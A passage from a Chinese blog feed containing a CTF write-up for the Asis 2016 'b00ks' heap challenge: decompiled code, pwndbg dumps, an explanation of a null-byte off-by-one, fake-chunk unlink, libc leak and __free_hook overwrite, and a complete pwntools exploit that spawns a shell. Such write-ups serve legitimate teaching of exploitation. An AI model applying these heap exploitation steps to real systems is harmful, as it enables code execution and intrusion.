class="keyword">int</span>)sub_9F5(</span><br><span class="line"> *(_BYTE **)(*((_QWORD *)off_202010 + i) + <span class="number">16L</span>L),</span><br><span class="line"> *(_DWORD *)(*((_QWORD *)off_202010 + i) + <span class="number">24L</span>L) - <span class="number">1</span>) )</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0L</span>L;</span><br></pre></td></tr></table></figure><h4 id="打印"><a href="#打印" class="headerlink" title="打印"></a>打印</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">> 4</span><br><span class="line">ID: 1</span><br><span class="line">Name: aa</span><br><span class="line">Description: aa</span><br><span class="line">Author: aaa</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//直接打印，且只判断ID不为0则打印</span></span><br><span class="line"><span class="comment">//注意printf打印时根据\x00来判断是否截断</span></span><br><span class="line">v0 = *((_QWORD *)off_202010 + i);</span><br><span class="line"><span class="keyword">if</span> ( v0 )<span class="comment">//ID不为0则打印</span></span><br><span class="line">{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"ID: %d\n"</span>, **((<span class="keyword">unsigned</span> <span class="keyword">int</span> **)off_202010 + i));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Name: %s\n"</span>, *(_QWORD *)(*((_QWORD *)off_202010 + i) + <span class="number">8L</span>L));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Description: %s\n"</span>, *(_QWORD *)(*((_QWORD *)off_202010 + i) + <span class="number">16L</span>L));</span><br><span class="line"> LODWORD(v0) = <span class="built_in">printf</span>(<span class="string">"Author: %s\n"</span>, off_202018);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h3><p>首先需要说明，由于程序开启了PIE导致代码段和堆段地址随机，只有低三个字节是不变的，并且调试过程中多次重启程序改断点调试，因此地址变化很大，请以实际调试为主。</p><p>首先可以看到申请一个book会创建3个chunk，由低到高分别是name(0x5583b53ef020)、description(0x5583b53ef050)、book结构体(0x5583b53ef080)</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pwndbg> x/20xg 0x5583b53ef010</span><br><span class="line">0x5583b53ef010:0x00000000000000000x0000000000000031</span><br><span class="line">0x5583b53ef020:0x00317463656a626f0x0000000000000000</span><br><span class="line">0x5583b53ef030:0x00000000000000000x0000000000000000</span><br><span class="line">0x5583b53ef040:0x00000000000000000x0000000000000031</span><br><span class="line">0x5583b53ef050:0x00317463656a626f0x0000000000000000</span><br><span class="line">0x5583b53ef060:0x00000000000000000x0000000000000000</span><br><span class="line">0x5583b53ef070:0x00000000000000000x0000000000000031</span><br><span class="line">0x5583b53ef080:0x00000000000000010x00005583b53ef020</span><br><span class="line">0x5583b53ef090:0x00005583b53ef0500x0000000000000020</span><br><span class="line">0x5583b53ef0a0:0x00000000000000000x0000000000020f61</span><br></pre></td></tr></table></figure><p>然后由于Auther和book结构体数组保存在bss上，且Auther输入也是使用自定义的输入函数，并且这两个部分是相邻的</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#此处直接搜索Auther的内容即可找到</span></span><br><span class="line">pwndbg> search <span class="string">'aaaa'</span></span><br><span class="line">b00ks 0x562085e59040 0x6161616161616161 (<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">b00ks 0x562085e59044 0x6161616161616161 (<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">b00ks 0x562085e59048 0x6161616161616161 (<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">b00ks 0x562085e5904c 0x6161616161616161 (<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">b00ks 0x562085e59050 0x6161616161616161 (<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">b00ks 0x562085e59054 0x6161616161616161 (<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">b00ks 0x562085e59058 0x6161616161616161 (<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">b00ks 0x562085e5905c 0x8759a08061616161</span><br><span class="line"></span><br><span class="line"><span class="comment">#可见Auther和book结构体数组相邻，原因在于输入的32个a末尾还有一个0放在60处，但是后来创建book后覆盖掉了</span></span><br><span class="line"><span class="comment">#因此可以直接打印Auther就可以打印出堆地址</span></span><br><span class="line">pwndbg> x/20gx 0x562085e59040</span><br><span class="line">0x562085e59040:0x61616161616161610x6161616161616161</span><br><span class="line">0x562085e59050:0x61616161616161610x6161616161616161</span><br><span class="line">0x562085e59060:0x000056208759a0800x0000000000000000</span><br></pre></td></tr></table></figure><p>好了，现在已经可以拿到堆地址了。关注到change功能可以修改Auther的名字，那么我们可以使用change修改Auther将第一个book结构体的地址的最低位覆盖为第一个book的description部分，因为这里输入不受限制方便伪造一个book结构体。</p><p>到此我们可以控制一个book结构体，他的内容包括id、书名的malloc地址、description的malloc地址，因此再下次edit时可以手动往我们指定的伪造的book中的description地址中写数据，从而达到任意地址写。</p><p>好了，到这里我们已经拥有了任意地址写的能力，但是还有一个问题：如何泄露libc基地址？我们任意地址写的话一般写got表也好，写malloc_hook或者free_hook也好，都因为ASLR需要计算libc基地址来进行偏移地址的计算。因此我们需要在堆上找到libc偏移，首先需要直到堆的基址，通过top chunk以及泄露的第一个chunk可以算出。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#top chunk地址</span></span><br><span class="line">pwndbg> heap</span><br><span class="line">0x555c627ef000 PREV_INUSE {</span><br><span class="line"> prev_size = 0, </span><br><span class="line"> size = 4113, </span><br><span class="line"> fd = 0xa3233, </span><br><span class="line"> bk = 0x0, </span><br><span class="line"> fd_nextsize = 0x0, </span><br><span class="line"> bk_nextsize = 0x0</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">#计算堆的起始偏移为0x1080，用第一个book的首地址与top chunk首地址之差来计算</span></span><br><span class="line">pwndbg> distance 0x0000555c627f0080 0x555c627ef000</span><br><span class="line">0x555c627f0080->0x555c627ef000 is -0x1080 bytes (-0x210 words)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#前半部分实现泄露堆地址</span></span><br><span class="line">createname(<span class="string">'a'</span>*<span class="number">32</span>)</span><br><span class="line">createbook(<span class="number">0x20</span>,<span class="string">'a'</span>,<span class="number">0x20</span>,<span class="string">'b'</span>)<span class="comment">#1</span></span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">'4'</span>)</span><br><span class="line">io.recvuntil(<span class="string">'Author:'</span>)</span><br><span class="line">io.recvuntil(<span class="string">'a'</span>*<span class="number">32</span>)</span><br><span class="line">book1_addr = io.recv(<span class="number">6</span>)</span><br><span class="line">book1_addr = u64(book1_addr.ljust(<span class="number">8</span>,<span class="string">'\x00'</span>))</span><br><span class="line">heap_base = book1_addr - <span class="number">0x1080</span></span><br></pre></td></tr></table></figure><p>接着需要申请两个chunk再释放掉，为了让其进入fastbin后出来是反过来的，即再申请的时候先分配原3号块的地址(高位地址分配给4号chunk)，然后再分配原来的低位地址给5号chunk，从而unlink 5号块。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'buf 1'</span>, <span class="number">0x20</span>, <span class="string">'desc buf'</span>) <span class="comment"># 2</span></span><br><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'buf 2'</span>, <span class="number">0x20</span>, <span class="string">'desc buf 2'</span>) <span class="comment"># 3</span></span><br><span class="line">deletebook(<span class="number">2</span>)</span><br><span class="line">deletebook(<span class="number">3</span>)</span><br></pre></td></tr></table></figure><p>下面在编号为4的describe中构建一个chunk，该chunk需要伪造出ptr指针指向该chunk从而过unlink保护。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">这里写chunk4的description，一直写到chunk5的</span></span><br><span class="line">ptr = heap_base + 0x1180</span><br><span class="line">payload = p64(0)</span><br><span class="line">payload += p64(0x101)</span><br><span class="line">payload += p64(ptr - 0x18)</span><br><span class="line">payload += p64(ptr - 0x10)</span><br><span class="line">payload += '\x00' * 0xe0</span><br><span class="line">payload += p64(0x100)</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">本次调试book4结构体地址，通过搜索Auther填写的字符串来定位book结构体数组</span></span><br><span class="line">0x000056448bac5170</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">定位book4具体结构，其中0x000056448bac51d0是要写入chunk的地址</span></span><br><span class="line"><span class="meta">pwndbg></span><span class="bash"> x/20gx 0x000056448bac5170</span></span><br><span class="line">0x56448bac5170:0x00005644000000040x000056448bac51a0</span><br><span class="line">0x56448bac5180:0x000056448bac51d00x0000000000000108</span><br><span class="line">0x56448bac5190:0x00000000000000000x0000000000000031</span><br><span class="line"> </span><br><span class="line"><span class="meta">#</span><span class="bash">具体chunk填充内容，其中fd和bk地址分别是ptr-0x18和ptr-0x10，因此ptr为了过保护必须指向0x000056448bac51d0，所以ptr为地址0x56448bac5180的值</span></span><br><span class="line"><span class="meta">pwndbg></span><span class="bash"> x/20gx 0x000056448bac51d0</span></span><br><span class="line">0x56448bac51d0:0x00000000000000000x0000000000000101</span><br><span class="line">0x56448bac51e0:0x000056448bac51680x000056448bac5170</span><br><span class="line">0x56448bac51f0:0x00000000000000000x0000000000000000</span><br><span class="line">0x56448bac5200:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>注意4、5、6三个块的申请如下，6号块为了放置unlink 4和5时合并到top chunk中去</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'name'</span>, <span class="number">0x108</span>, <span class="string">'overflow'</span>) <span class="comment"># 4</span></span><br><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'name'</span>, <span class="number">0x100</span> - <span class="number">0x10</span>, <span class="string">'target'</span>) <span class="comment"># 5</span></span><br><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'/bin/sh\x00'</span>, <span class="number">0x200</span>, <span class="string">'to arbitrary read write'</span>) <span class="comment"># 6</span></span><br></pre></td></tr></table></figure><p>在unlink时，下图为第五块的description，他被释放时会根据size字段最后一位判断前一个块是否空闲，通过pre_size字段找到前一个块，因此这里两个都空闲会触发unlink操作。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#chunk5->description</span></span><br><span class="line">pwndbg> x/20xg 0x0000564f5602c2e0-0x10</span><br><span class="line">0x564f5602c2d0:0x00000000000001000x0000000000000100</span><br><span class="line">0x564f5602c2e0:0x00007465677261740x0000000000000000</span><br><span class="line"></span><br><span class="line"><span class="comment">#chunk4->description，已被事先伪造好</span></span><br><span class="line">pwndbg> x/20xg 0x0000564f5602c2e0-0x10-0x100</span><br><span class="line">0x564f5602c1d0:0x00000000000000000x0000000000000101</span><br><span class="line">0x564f5602c1e0:0x0000564f5602c1680x0000564f5602c170</span><br><span class="line"></span><br><span class="line"><span class="comment">#unlink后ptr地址的值会变为ptr-0x18，即地址180的值会变为168</span></span><br><span class="line"><span class="comment">#可以看到chunk4的description地址被改为168</span></span><br><span class="line">pwndbg> x/20gx 0x0000564d8444f180-0x10</span><br><span class="line">0x564d8444f170:0x0000564d000000040x0000564d8444f1a0</span><br><span class="line">0x564d8444f180:0x0000564d8444f1680x0000000000000108</span><br></pre></td></tr></table></figure><p>经过unlink后地址168的值便是chunk4的description的地址，那么我们修改它就是修改description的值，将该chunk的descrip改为chunk6的description。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">payload = p64(<span class="number">0x30</span>)</span><br><span class="line">payload += p64(<span class="number">4</span>)</span><br><span class="line">payload += p64(heap_base + <span class="number">0x11a0</span>)<span class="comment">#chunk4 name的固定偏移</span></span><br><span class="line">payload += p64(heap_base + <span class="number">0x10c0</span>)<span class="comment">#chunk6 description地址的固定偏移</span></span><br><span class="line">payload += <span class="string">'\n'</span></span><br><span class="line"></span><br><span class="line">editbook(<span class="number">4</span>,payload)</span><br><span class="line"></span><br><span class="line"><span class="comment">#这个时候就可以向chunk4写description，然后通过写chunk6来修改chunb4的description的内容</span></span><br></pre></td></tr></table></figure><p>记得上面unlink时是一个samll bin大小的块，因此会被放入unsorted bin中暂存，并且由于有chunk6的存在不会和top chunk合并，因此它的fd和bk会泄露libc地址，该libc地址一般为main_arena+88的地址，因此可以算出main_arena的地址，并且由于main_arena在libc的偏移不变(定义于malloc_trim函数中，使用ida搜函数可以查看到常量)，此处偏移为0x3c4b78，即可算出libc基址。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#将地址送到chunk4中的description起始是chunk6的description地址位置，然后读出来</span></span><br><span class="line"><span class="comment">#此处将main_arena+88的地址写入，然后将该地址读出来算出libc基址</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_at</span><span class="params">(addr)</span>:</span></span><br><span class="line"> editbook(<span class="number">4</span>, p64(addr))</span><br><span class="line"> io.recv()</span><br><span class="line"> io.sendline(<span class="string">'4'</span>)</span><br><span class="line"> io.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> io.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> io.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> content = io.recvline()[:<span class="number">-1</span>]</span><br><span class="line"> io.info(content)</span><br><span class="line"> <span class="keyword">return</span> content</span><br><span class="line"></span><br><span class="line"><span class="comment">#算出libc基址，heap_base + 0x11e0是unlink后的块</span></span><br><span class="line">libc_leak = u64(read_at(heap_base + <span class="number">0x11e0</span>).ljust(<span class="number">8</span>, <span class="string">'\x00'</span>)) - <span class="number">0x3c4b78</span></span><br></pre></td></tr></table></figure><p>拿到libc基址后就可以随便玩了，这里向free_hook写system，最后删除chunk6即可，删除时会free name、description和book结构体，在free name时由于name为/bin/sh，刚好作为system参数使用。当然这里也可以直接用one_gaget写入，效果一样。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#算出free_hook地址</span></span><br><span class="line">addr=libc_leak + libc.symbols[<span class="string">'__free_hook'</span>]</span><br><span class="line">content=p64(libc_leak + libc.symbols[<span class="string">'system'</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment">#将free_hook地址写入chunk6的description地址处</span></span><br><span class="line">editbook(<span class="number">4</span>, p64(addr))</span><br><span class="line"><span class="comment">#修改free_hook内容为system函数</span></span><br><span class="line">editbook(<span class="number">6</span>, content)</span><br><span class="line"></span><br><span class="line"><span class="comment">#触发system('/bin/sh')</span></span><br><span class="line">deletebook(<span class="number">6</span>)</span><br></pre></td></tr></table></figure><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">io=process(<span class="string">'./b00ks'</span>)</span><br><span class="line">binary = ELF(<span class="string">"b00ks"</span>)</span><br><span class="line">libc = ELF(<span class="string">"/lib/x86_64-linux-gnu/libc.so.6"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">createbook</span><span class="params">(name_size, name, des_size, des)</span>:</span></span><br><span class="line"> io.readuntil(<span class="string">"> "</span>)</span><br><span class="line"> io.sendline(<span class="string">"1"</span>)</span><br><span class="line"> io.readuntil(<span class="string">": "</span>)</span><br><span class="line"> io.sendline(str(name_size))</span><br><span class="line"> io.readuntil(<span class="string">": "</span>)</span><br><span class="line"> io.sendline(name)</span><br><span class="line"> io.readuntil(<span class="string">": "</span>)</span><br><span class="line"> io.sendline(str(des_size))</span><br><span class="line"> io.readuntil(<span class="string">": "</span>)</span><br><span class="line"> io.sendline(des)</span><br><span class="line"></span><br><span class="line"><span class="comment">#Auther Name</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">createname</span><span class="params">(name)</span>:</span></span><br><span class="line"> io.readuntil(<span class="string">"name: "</span>)</span><br><span class="line"> io.sendline(name)</span><br><span class="line"></span><br><span class="line"><span class="comment">#Change Auther name</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">changename</span><span class="params">(name)</span>:</span></span><br><span class="line"> io.readuntil(<span class="string">"> "</span>)</span><br><span class="line"> io.sendline(<span class="string">"5"</span>)</span><br><span class="line"> io.readuntil(<span class="string">": "</span>)</span><br><span class="line"> io.sendline(name)</span><br><span class="line"></span><br><span class="line"><span class="comment">#Edit book's description</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">editbook</span><span class="params">(book_id, new_des)</span>:</span></span><br><span class="line"> io.readuntil(<span class="string">"> "</span>)</span><br><span class="line"> io.sendline(<span class="string">"3"</span>)</span><br><span class="line"> io.readuntil(<span class="string">": "</span>)</span><br><span class="line"> io.writeline(str(book_id))</span><br><span class="line"> io.readuntil(<span class="string">": "</span>)</span><br><span class="line"> io.sendline(new_des)</span><br><span class="line"></span><br><span class="line"><span class="comment">#delete book by id</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">deletebook</span><span class="params">(book_id)</span>:</span></span><br><span class="line"> io.readuntil(<span class="string">"> "</span>)</span><br><span class="line"> io.sendline(<span class="string">"2"</span>)</span><br><span class="line"> io.readuntil(<span class="string">": "</span>)</span><br><span class="line"> io.sendline(str(book_id))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">createname(<span class="string">'a'</span>*<span class="number">32</span>)</span><br><span class="line">createbook(<span class="number">0x20</span>,<span class="string">'a'</span>,<span class="number">0x20</span>,<span class="string">'b'</span>)<span class="comment">#1</span></span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">'4'</span>)</span><br><span class="line">io.recvuntil(<span class="string">'Author:'</span>)</span><br><span class="line">io.recvuntil(<span class="string">'a'</span>*<span class="number">32</span>)</span><br><span class="line">book1_addr = io.recv(<span class="number">6</span>)</span><br><span class="line">book1_addr = u64(book1_addr.ljust(<span class="number">8</span>,<span class="string">'\x00'</span>))</span><br><span class="line">heap_base = book1_addr - <span class="number">0x1080</span></span><br><span class="line"></span><br><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'buf 1'</span>, <span class="number">0x20</span>, <span class="string">'desc buf'</span>) <span class="comment"># 2</span></span><br><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'buf 2'</span>, <span class="number">0x20</span>, <span class="string">'desc buf 2'</span>) <span class="comment"># 3</span></span><br><span class="line">deletebook(<span class="number">2</span>)</span><br><span class="line">deletebook(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">ptr = heap_base + <span class="number">0x1180</span></span><br><span class="line">payload = p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(<span class="number">0x101</span>) </span><br><span class="line">payload += p64(ptr - <span class="number">0x18</span>) </span><br><span class="line">payload += p64(ptr - <span class="number">0x10</span>) </span><br><span class="line">payload += <span class="string">'\x00'</span> * <span class="number">0xe0</span> </span><br><span class="line">payload += p64(<span class="number">0x100</span>)</span><br><span class="line"></span><br><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'name'</span>, <span class="number">0x108</span>, <span class="string">'overflow'</span>) <span class="comment"># 4</span></span><br><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'name'</span>, <span class="number">0x100</span> - <span class="number">0x10</span>, <span class="string">'target'</span>) <span class="comment"># 5</span></span><br><span class="line">createbook(<span class="number">0x20</span>, <span class="string">'/bin/sh\x00'</span>, <span class="number">0x200</span>, <span class="string">'to arbitrary read write'</span>) <span class="comment"># 6</span></span><br><span class="line">editbook(<span class="number">4</span>, payload) <span class="comment"># overflow</span></span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line">deletebook(<span class="number">5</span>) <span class="comment"># unlink</span></span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0x30</span>)</span><br><span class="line">payload += p64(<span class="number">4</span>)</span><br><span class="line">payload += p64(heap_base + <span class="number">0x11a0</span>)</span><br><span class="line">payload += p64(heap_base + <span class="number">0x10c0</span>)</span><br><span class="line">payload += <span class="string">'\n'</span></span><br><span class="line"></span><br><span class="line">editbook(<span class="number">4</span>,payload) </span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write_to</span><span class="params">(addr, content, size)</span>:</span></span><br><span class="line"> editbook(<span class="number">4</span>, p64(addr))</span><br><span class="line"> <span class="comment">#gdb.attach(io)</span></span><br><span class="line"> editbook(<span class="number">6</span>, content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_at</span><span class="params">(addr)</span>:</span></span><br><span class="line"> editbook(<span class="number">4</span>, p64(addr)) </span><br><span class="line"> <span class="comment">#gdb.attach(io)</span></span><br><span class="line"> io.recv()</span><br><span class="line"> io.sendline(<span class="string">'4'</span>)</span><br><span class="line"> io.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> io.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> io.recvuntil(<span class="string">'Description: '</span>)</span><br><span class="line"> content = io.recvline()[:<span class="number">-1</span>]</span><br><span class="line"> io.info(content)</span><br><span class="line"> <span class="keyword">return</span> content</span><br><span class="line"></span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line">libc_leak = u64(read_at(heap_base + <span class="number">0x11e0</span>).ljust(<span class="number">8</span>, <span class="string">'\x00'</span>)) - <span class="number">0x3c4b78</span></span><br><span class="line">io.info(<span class="string">'libc leak 0x%x'</span> % libc_leak)</span><br><span class="line"></span><br><span class="line">write_to(libc_leak + libc.symbols[<span class="string">'__free_hook'</span>], p64(libc_leak + libc.symbols[<span class="string">'system'</span>]), <span class="number">0x10</span>)</span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line">deletebook(<span class="number">6</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>许久没有练习pwn题了，今天拿一道堆题练练手，漏洞点在Null byte off-by-one以及unlink。</p>
<p>题目来源(包括exp)：Asis CTF 2016 <a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks" target="_blank" rel="noopener">b00ks</a></p>
</summary>
<category term="Pwn" scheme="http://yoursite.com/categories/Pwn/"/>
<category term="unlink" scheme="http://yoursite.com/tags/unlink/"/>
<category term="off-by-one" scheme="http://yoursite.com/tags/off-by-one/"/>
</entry>
<entry>
<title>mariadb-主从复制</title>
<link href="http://yoursite.com/2020/02/23/mariadb-%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6/"/>
<id>http://yoursite.com/2020/02/23/mariadb-%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6/</id>
<published>2020-02-23T08:41:18.000Z</published>
<updated>2020-02-23T08:42:36.320Z</updated>
